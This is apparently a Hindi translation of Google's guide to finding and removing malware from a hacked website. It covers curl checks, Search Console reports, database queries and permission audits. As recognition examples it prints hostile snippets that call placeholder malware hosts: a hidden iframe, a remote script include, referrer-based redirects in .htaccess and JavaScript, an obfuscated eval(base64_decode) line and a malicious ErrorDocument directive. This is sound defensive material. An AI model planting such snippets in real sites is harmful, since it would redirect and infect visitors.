मैलवेयर एक तरह का सॉफ़्टवेयर या मोबाइल ऐप्लिकेशन होता है. इसे खास तौर पर, किसी कंप्यूटर, मोबाइल डिवाइस, उन पर इस्तेमाल किए जा रहे सॉफ़्टवेयर या उनके उपयोगकर्ताओं को नुकसान पहुंचाने के लिए बनाया जाता है. मैलवेयर के बारे में ज़्यादा जानने के लिए, मैलवेयर और अनचाहा सॉफ़्टवेयर लेख पढ़ें.
अगर आपकी साइट पर मैलवेयर है, तो उपयोगकर्ताओं को खोज के नतीजों में या ब्राउज़र से दिखाए गए इंटरस्टीशियल पेज पर, "यह साइट आपके कंप्यूटर को नुकसान पहुंचा सकती है" चेतावनी दिखेगी. यह चेतावनी कुछ इस तरह दिख सकती है:
इसके लिए, आपको इन चीज़ों की ज़रूरत होगी:
- आपकी साइट के सर्वर: वेब, डेटाबेस, और फ़ाइलों के लिए, शेल या टर्मिनल एडमिन ऐक्सेस.
- शेल या टर्मिनल कमांड के बारे में जानकारी.
- डेटाबेस पर SQL क्वेरी चलाने की सुविधा.
वीडियो की रणनीति
- Search Console के लिए साइन अप करें और हैक की गई अपनी साइट के मालिकाना हक की पुष्टि करें. इसके लिए, वहां दिए गए निर्देशों का पालन करें. Search Console, उन पेजों का सैंपल उपलब्ध कराता है जिन पर असर पड़ा है. इससे, मैलवेयर की मदद से हैक किए गए पेजों की समस्याओं को ढूंढना और ठीक करना बहुत आसान हो जाता है. इसके अलावा, अगर आपकी साइट पर कई तरह के मैलवेयर या अन्य हैक का असर पड़ा है, तो आपको इसकी चेतावनी दी जाएगी.
Google के सुरक्षित ब्राउज़िंग डाइग्नोस्टिक पेज पर जाकर, यह पता करें कि कोई साइट उपयोगकर्ताओं के लिए नुकसान पहुंचा सकती है या नहीं. अपने पेज या साइट की लिस्टिंग की स्थिति देखने के लिए, इस तरह के यूआरएल पर जाएं:
https://transparencyreport.google.com/safe-browsing/search?url=***<<page_or_site>>***
उदाहरण के लिए:https://transparencyreport.google.com/safe-browsing/search?url=webmastercentralblog.blogspot.com
<<page_or_site>>
, किसी पेज का यूआरएल (http://example.com/badpage
) या आपकी पूरी साइट (example.com) हो सकती है.अपनी साइट के पेजों को देखने के लिए, ब्राउज़र का इस्तेमाल न करें. मैलवेयर अक्सर ब्राउज़र की कमियों की वजह से फैलता है. इसलिए, मैलवेयर के असर वाले पेजों को ब्राउज़र में खोलने से आपका कंप्यूटर खराब हो सकता है. अगर गड़बड़ी का पता लगाने के निर्देशों में, पेज को सीधे अपने ब्राउज़र में ऐक्सेस करने के लिए नहीं कहा गया है, तो एचटीटीपी अनुरोध करने के लिए cURL या Wget का इस्तेमाल करें. उदाहरण के लिए, किसी पेज को फ़ेच करना.
ये टूल मुफ़्त में इस्तेमाल किए जा सकते हैं. इनसे दूसरे वेबपेज पर भेजने वाले लिंक आसानी से पहचाने जा सकते हैं. इन टूल की मदद से ब्राउज़र या रेफ़रल देने वाले के बारे में जानकारी भी ली जा सकती है. किसी खास रेफ़रल या उपयोगकर्ता-एजेंट को शामिल करने से, हैकर की नकल करने में मदद मिलती है. ऐसा इसलिए, क्योंकि हैकर ज़्यादा "असली लोगों" को टारगेट करने के लिए, सिर्फ़ खास उपयोगकर्ता-एजेंट या रेफ़रल वाले लोगों को नुकसान पहुंचाने वाला कॉन्टेंट दिखा सकते हैं. साथ ही, साइट के मालिकों और मैलवेयर स्कैनर से बच सकते हैं.
`curl -v --referer "http://www.google.com" <your-url>`
यहां एक उदाहरण दिया गया है, जिसमें उपयोगकर्ता एजेंट और रेफ़रर, दोनों के बारे में बताया गया है:
`curl -v --referer "https://www.google.com" --user-agent "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FSL 7.0.7.01001)" http://www.example.com/page.html`
हमारा सुझाव है कि आप --referer "https://www.google.com"
के साथ और उसके बिना, दोनों तरह से पेज फ़ेच करें. ऐसा इसलिए, क्योंकि कुछ मैलवेयर सिर्फ़ तब चालू होते हैं, जब उपयोगकर्ता Google Search के नतीजों से आते हैं.
इस चरण के निष्कर्षों को रिकॉर्ड करने के लिए एक दस्तावेज़ बनाएं. इस दस्तावेज़ में, कम से कम हर उस फ़ाइल का नाम और जगह शामिल होगी जिसे नुकसान पहुंचा है. साथ ही, इसमें यह जानकारी भी शामिल होगी कि फ़ाइल को कैसे नुकसान पहुंचा. यह दस्तावेज़, अपनी साइट को सुरक्षित और बेहतर बनाए रखने के लिए काम करेगा.
इस पेज पर पहले दिया गया वीडियो देखें और जानें कि मैलवेयर कैसे काम करता है. साथ ही, मैलवेयर की जांच के दौरान खुद को सुरक्षित रखने का तरीका भी जानें.
संक्रमण की जांच
यह पता लगाएं कि आपकी साइट पर किस मैलवेयर का असर पड़ रहा है:
- Search Console में अपनी साइट के लिए, सुरक्षा से जुड़ी समस्याओं की रिपोर्ट खोलें. मैलवेयर की चेतावनी की जानकारी को बड़ा करके, उन पेजों की सूची देखें जिन पर इस समस्या का असर पड़ा है. ध्यान दें कि यह सूची पूरी नहीं है. हो सकता है कि आपको अपनी साइट पर, सभी तरह के मैलवेयर के उदाहरण वाले पेज न मिलें.
- अपने उदाहरण पेजों की जांच करके, देखें कि उनमें इन तरह के मैलवेयर तो नहीं हैं.
सर्वर कॉन्फ़िगरेशन मैलवेयर (अनचाहे रीडायरेक्ट)
किसी हैकर ने आपकी साइट हैक कर ली है और आपकी सुरक्षित साइट पर आने वाले लोगों को उनकी मैलवेयर हमलों वाली साइट पर भेज रहा है. ऐसा करने के लिए, शायद उसने आपके वेब सर्वर की कॉन्फ़िगरेशन फ़ाइल(फ़ाइलों) में बदलाव किया है. आम तौर पर, सर्वर की कॉन्फ़िगरेशन वाली फ़ाइलें इस्तेमाल करके, साइट का एडमिन यह तय कर सकता है कि यूआरएल रीडायरेक्ट उपयोगकर्ता को वेबसाइट के किन खास पेजों या डायरेक्ट्री पर ले जाए. उदाहरण के लिए, Apache सर्वर पर .htaccess
फ़ाइल और httpd.conf
, दोनों ही सर्वर के कॉन्फ़िगरेशन वाली फ़ाइलें हैं.
संक्रमण की जांच
सुरक्षा की समस्याओं वाली रिपोर्ट में समस्या के उदाहरण वाले यूआरएल पर जाएं. "सर्वर कॉन्फ़िगरेशन" मैलवेयर की समस्या वाले पेजों को cURL या Wget से देखने पर, उनके हेडर में आपको ये कोड दिख सकते हैं:
< HTTP/1.1 301 Moved Permanently
< Date: Sun, 24 Feb 2013 21:06:45 GMT
< Server: Apache
< Location: http://<<strong>_malware-attack-site_</strong>>/index.html
< Content-Length: 253
उन फ़ाइलों का पता लगाना जिन पर असर पड़ा है
शेल या टर्मिनल ऐक्सेस की मदद से अपने सर्वर में लॉग इन करें (अगर आप चाहें, तो साइट को ऑफ़लाइन किया जा सकता है) और मैलवेयर की समस्या वाली सर्वर कॉन्फ़िगरेशन फ़ाइलों की समीक्षा करें. आपकी साइट पर हैक की गईं सर्वर कॉन्फ़िगरेशन वाली एक से ज़्यादा फ़ाइलें हो सकती हैं. इन फ़ाइलों में ऐसे निर्देश ढूंढें जिन्हें आपने तय नहीं किया है. जैसे, अनजान साइटों पर रीडायरेक्ट करने वाले निर्देश. उदाहरण के लिए, .htaccess
` फ़ाइल में, आपको इस तरह का रीडायरेक्ट दिख सकता है:
RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.*
**RewriteRule ^third-page.html($|/) http://<<em><strong>_malware-site_</strong></em>>/index.html** [R=301]
SQL इंजेक्शन
किसी हैकर ने आपकी साइट के डेटाबेस में छेड़छाड़ की है. उदाहरण के लिए, हो सकता है कि हैकर ने प्रोग्राम के ज़रिए, डेटाबेस टेबल के हर रिकॉर्ड में मैलवेयर वाला कोड डाल दिया हो. इसलिए, जब सर्वर किसी ऐसे पेज को लोड करेगा जिसके लिए डेटाबेस की जानकारी इस्तेमाल की गई हो, तब उस पेज की कॉन्टेंट में एम्बेड किया गया मैलवेयर वाला कोड भी उस पेज के साथ लोड हो जाएगा. इस कोड की वजह से साइट का इस्तेमाल करने वालों को नुकसान पहुंच सकता है.
संक्रमण की जांच
- जिन यूआरएल में समस्या है उन पर कमांड-लाइन में कुछ क्वेरी चलाएं. साथ ही, क्वेरी के जवाब में खुलने वाले पेज पर देखें कि "iframe" या "eval" जैसे नुकसान पहुंचाने वाले एसक्यूएल शब्द मौजूद हैं या नहीं.
अपने डेटाबेस सर्वर में साइन इन करें या phpMyAdmin जैसे किसी टूल की मदद से अपने डेटाबेस को देखें. अगर आपने Wget या cURL का इस्तेमाल किया है, तो Wget या cURL से पेज के सोर्स कोड में मिली गड़बड़ी की तुलना अपने डेटाबेस की एंट्री से करें. उदाहरण के लिए, अगर आपको अपने पेजों पर कोई खतरनाक iframe मिला है, तो उस iframe कोड को खोजने के लिए एसक्यूएल क्वेरी चलाएं. उदाहरण के लिए:
SELECT * FROM blog_posts WHERE post_text LIKE '%>iframe%';
असामान्य गतिविधियों का पता लगाने के लिए, अपने सर्वर पर मौजूद डेटाबेस के लॉग और गड़बड़ी वाली फ़ाइलों की जाँच ज़रूर करें. उदाहरण के लिए, ऐसे एसक्यूएल कमांड जो आम तौर पर नहीं दिखते हैं और जो सामान्य उपयोगकर्ताओं या गड़बड़ी के लिए असामान्य दिखते हैं.
समस्या को ठीक करना
डेटाबेस के उन सभी रिकॉर्ड को अपडेट करें जिनमें समस्या है या डेटाबेस का पिछला बैकअप वापस लाएं.
कोड इंजेक्शन
आपकी साइट के पेजों में बदलाव किया गया था, ताकि उसमें नुकसान पहुंचाने वाले कोड को शामिल किया जा सके. उदाहरण के लिए, जिस साइट पर मैलवेयर ने हमला किया है उसमें iframe को शामिल करना.
संक्रमण की जांच
cURL या wGet की मदद से, सुरक्षा से जुड़ी समस्याओं वाली रिपोर्ट में दिए गए उदाहरण के तौर पर दिखाए गए कुछ यूआरएल पर जाएं और संदिग्ध कोड की जांच करें. इंजेक्ट किए गए कोड कई तरह के हो सकते हैं और इन्हें ढूंढना मुश्किल हो सकता है. iframe कोड ढूंढने के लिए, "iframe" जैसे शब्दों को खोजने से मदद मिल सकती है. दूसरे मददगार कीवर्ड "script", "eval", और "unescape" हैं. उदाहरण के लिए, Unix पर काम करने वाले सिस्टम पर "iframe" के लिए सभी फ़ाइलें खोजने के लिए:
$grep -irn "iframe" ./ | less</pre>
यहां मैलवेयर के कुछ सामान्य पैटर्न दिए गए हैं.
वह iframe जो नुकसान पहुंचाने वाली साइट को लोड करता है:
<iframe frameborder="0" height="0" src="http://<<strong><em>_malware-site_</em></strong>>/path/file"
style="display:none" width="0"></iframe>
ऐसी JavaScript या और कोई स्क्रिप्टिंग की भाषा जो हमलावर साइट से स्क्रिप्ट को कॉल करती और चलाती है:
<script type='text/javascript' src='http://<<em><strong>_malware-site_</strong></em>>/js/x55.js'></script>
ऐसी स्क्रिप्टिंग जो ब्राउज़र को एक हमलावर साइट पर रीडायरेक्ट करती है:
<script>
if (document.referrer.match(/google\.com/)) {
window.location("http://<<em><strong>_malware-site_</strong></em>>/");
}
</script>
नुकसान पहुंचाने वाले ऐसे कोड जिन्हें बदल दिया गया है, ताकि उनका पता न लगाया जा सके:
eval(base64_decode("aWYoZnVuaauUl+hasdqetiDi2iOwlOHTgs+slgsfUNlsgasdf"));
शेयर की गईं ऐसी ऑब्जेक्ट फ़ाइलें जिन्हें आम तौर पर सुरक्षित माने जानी वाली स्क्रिप्ट से छेड़छाड़ करने के लिए बनाया जाता है. ये फ़ाइलें इस्तेमाल करके नुकसान पहुंचाने वाले कोड को बिना किसी तय तरीके के स्क्रिप्ट में डाला जाता है:
#httpd.conf modified by the hacker
LoadModule harmful_module modules/mod_harmful.so
AddModule mod_harmful.c
नुकसान पहुंचाने के इरादे से बनाए गए गड़बड़ी टेंप्लेट
मैलवेयर से नुकसान पहुंचाने के लिए, '404 फ़ाइल नहीं मिली' जैसे गड़बड़ी के मैसेज दिखाने वाले टेंप्लेट को कॉन्फ़िगर किया जाता है. इस तरह, हमलावर उन यूआरएल पर भी हमला कर सकते हैं जो आपकी साइट पर मौजूद भी नहीं हैं.
संक्रमण की जांच
अपनी साइट पर ऐसे पेज को खोलने का अनुरोध करें जो मौजूद नहीं है या फिर उस पेज को खोलने पर दूसरी तरह की गड़बड़ी मिलती है. खोले गए पेज की जांच करें कि क्या यह किसी दूसरी साइट का पेज है या उस पेज पर कोई मैलवेयर मौजूद है.
समस्या को ठीक करना
अपने वेब सर्वर में साइन इन करें और सर्वर के कॉन्फ़िगरेशन की फ़ाइलों में गड़बड़ी वाले पेज के डायरेक्टिव खोजें. उदाहरण के लिए, Apache वेबसर्वर के लिए गड़बड़ी वाले टेम्पलेट को .htaccess
फ़ाइल में घोषित किया जा सकता है. यहां .htaccess
फ़ाइल एंट्री का एक उदाहरण दिया गया है, जो किसी नुकसान पहुंचाने वाली साइट से 404 गड़बड़ी वाले पेजों को ऐक्सेस करती है:
ErrorDocument 404 http://<<span class="red-text"><em><strong>_malware-site_</strong></em></span>>/index.html
जब आप अपनी साइट से मैलवेयर हटाने के लिए तैयार हों, तब .htaccess
फ़ाइलों को सुरक्षित बैकअप से बदलें या मौजूदा .htaccess
फ़ाइलों से, अनचाहे ErrorDocument डायरेक्टिव मिटाएं. अगर आपकी साइट पर गड़बड़ी वाली फ़ाइलें मौजूद हैं, तो उन्हें भी हटा दें. आखिर में, अपने वेब सर्वर को रीस्टार्ट करें, ताकि सभी बदलाव लागू हो जाएं.
मैलवेयर के हमले का शिकार हो चुकी या नुकसान पहुंचाने वाली साइट {compromised-resources} से लोड किए जा रहे संसाधन
आपकी साइट, ऐसी वेबसाइट के कॉन्टेंट या संसाधनों का इस्तेमाल करती है जिसमें नुकसान पहुंचाने वाला कॉन्टेंट मौजूद है. ये JavaScript फ़ाइलें, इमेज या अन्य फ़ाइलें हो सकती हैं. इस वजह से, आपकी साइट को उस दूसरी साइट से लोड किए गए मैलवेयर के लिए फ़्लैग किया जाएगा.
संक्रमण की जांच
सुरक्षा की समस्याओं वाली रिपोर्ट में समस्या के उदाहरण वाले यूआरएल पर जाएं.
समस्या को ठीक करना
- Search Console में, सुरक्षा से जुड़ी समस्याओं की जानकारी देने वाली रिपोर्ट में दिए गए सैंपल यूआरएल को ब्राउज़ करके, समस्या की पुष्टि करें. आपको ब्राउज़र से चेतावनी दिखेगी.
- ब्राउज़र चेतावनी की मदद से, आपको आपत्तिजनक कॉन्टेंट के डोमेन के बारे में पता चल जाएगा. ब्राउज़र चेतावनी में जिस साइट को आपत्तिजनक पाया गया है उससे जुड़ी सारी सामग्री को अपनी साइट से हटा दें. अगर आपकी जानकारी के बिना, किसी फ़्लैग की गई साइट का कॉन्टेंट शामिल किया गया है, तो यह समस्या और भी गंभीर है. ऐसा हो सकता है कि आपकी साइट को हैक कर लिया गया हो. इसलिए, आपको अपनी साइट की जांच करते रहना चाहिए, ताकि यह पता चल सके कि उसे हैक करने के अन्य तरीके इस्तेमाल किए गए हैं या नहीं. साथ ही, यह भी पता चल सके कि साइट में कोई सुरक्षा से जुड़ी समस्या है या नहीं.
- अगर आपने जान-बूझकर किसी ऐसी मान्य साइट का कॉन्टेंट शामिल किया है जिसे फ़्लैग किया गया है और आपको फ़्लैग की गई साइट को ठीक करने के बाद, उस कॉन्टेंट को फिर से शामिल करना है, तो उस साइट (
http://www.google.com/safebrowsing/diagnostic?site=www.example.com
){:.external} के लिए, Google सेफ़ ब्राउज़िंग के डाइग्नोस्टिक्स पेज का इस्तेमाल करके, फ़्लैग की गई साइट की स्थिति पर नज़र रखी जा सकती है. आम तौर पर, मान्य साइटों के मालिक उन्हें तुरंत ठीक कर देते हैं.
अतिरिक्त जांच
इसके बाद, अपने सिस्टम में कोई और नुकसान पहुंचाने वाली फ़ाइल या बदलाव तो नहीं हुआ है, इसकी जांच करें. हो सकता है कि हैकर ने मौजूदा पेजों या डेटाबेस रिकॉर्ड में बदलाव किया हो, पूरी तरह से नए स्पैम पेज बनाए हों, ऐसे फ़ंक्शन लिखे हों जो साफ़ पेजों पर स्पैम दिखाते हों या "बैक डोर" छोड़े हों, ताकि हैकर आपकी साइट पर फिर से एंट्री कर सके या हटाए गए नुकसान पहुंचाने वाले कोड को फिर से इंजेक्ट कर सके.
अगर आपकी साइट ऑनलाइन है, तो इस जांच के लिए उसे ऑफ़लाइन कर दें.
अगर आपके पास अपनी साइट का बैकअप है, तो यह पता लगाएं कि बैकअप लेने के बाद कौनसी फ़ाइलें बनाई गई हैं या जिनमें बदलाव किया गया है. साथ ही, उनकी जांच करें. Unix-आधारित सिस्टम पर, नई फ़ाइलें ढूंढने के लिए, इस तरह के निर्देश का इस्तेमाल किया जा सकता है:
diff -qr <current-directory> <backup-directory>
उदाहरण के लिए:
diff -qr www/ backups/full-backup-20120124/
साथ ही:
md5sum <current-page> <backup-page>
उदाहरण के लिए:
md5sum www/page.html backups/full-backup-20120124/page.html
सर्वर, ऐक्सेस, और गड़बड़ी के लॉग में किसी भी संदिग्ध गतिविधि की जांच करें. जैसे, लॉगिन करने की कोशिशें पूरी न होना, कमांड का इतिहास (खास तौर पर रूट के तौर पर), और ऐसे उपयोगकर्ता खाते बनाना जिनके बारे में आपको पता नहीं है. ध्यान रखें कि हैकर ने अपने मकसद के लिए, इन लॉग में बदलाव किया हो सकता है. सुरक्षा से जुड़ी समस्या की पहचान करने के लिए, वीडियो में कुछ उदाहरण दिए गए हैं.
रीडायरेक्ट के लिए कॉन्फ़िगरेशन फ़ाइलों की जांच करें. आम तौर पर, आपकी कॉन्फ़िगरेशन फ़ाइलों का नाम .htaccess
और httpd.conf
होता है. हैकर अक्सर उपयोगकर्ता-एजेंट, दिन के समय या रेफ़रल के आधार पर, शर्तों के साथ रीडायरेक्ट बनाते हैं. अगर आपको कॉन्फ़िगरेशन फ़ाइलों को अपडेट करना है, तो हो सकता है कि बदलाव लागू करने के लिए, आपको अपना सर्वर रीस्टार्ट करना पड़े.
देखें कि फ़ोल्डर और फ़ाइलों के लिए, अनुमतियां ज़रूरत से ज़्यादा तो नहीं दी गई हैं. हैकर, अनुमतियों में बदलाव करते हैं, क्योंकि अगर साइट के मालिक को अनुमतियों के बारे में पता नहीं चलता है, तो हैकर के पास साइट में फिर से प्रवेश करने का एक तरीका होगा. 644 (rw-r--r--)
से बड़ी फ़ाइलों और 755 (rwxr-xr-x)
से बड़े फ़ोल्डर से सुरक्षा से जुड़ी समस्याएं हो सकती हैं. पक्का करें कि कोई भी पराजित अनुमति वास्तव में आवश्यक है. यूनिक्स-आधारित सिस्टम पर, ये काम आज़माएं:
find <your-dir> -type d -not -perm 755 -exec ls -ld {} \;
और:
find <your-dir> -type f -not -perm 644 -exec ls -la {} \;
अगर आपके पास कोई डेटाबेस है, तो phpMyAdmin जैसे टूल का इस्तेमाल करके, हर रिकॉर्ड की जांच करें.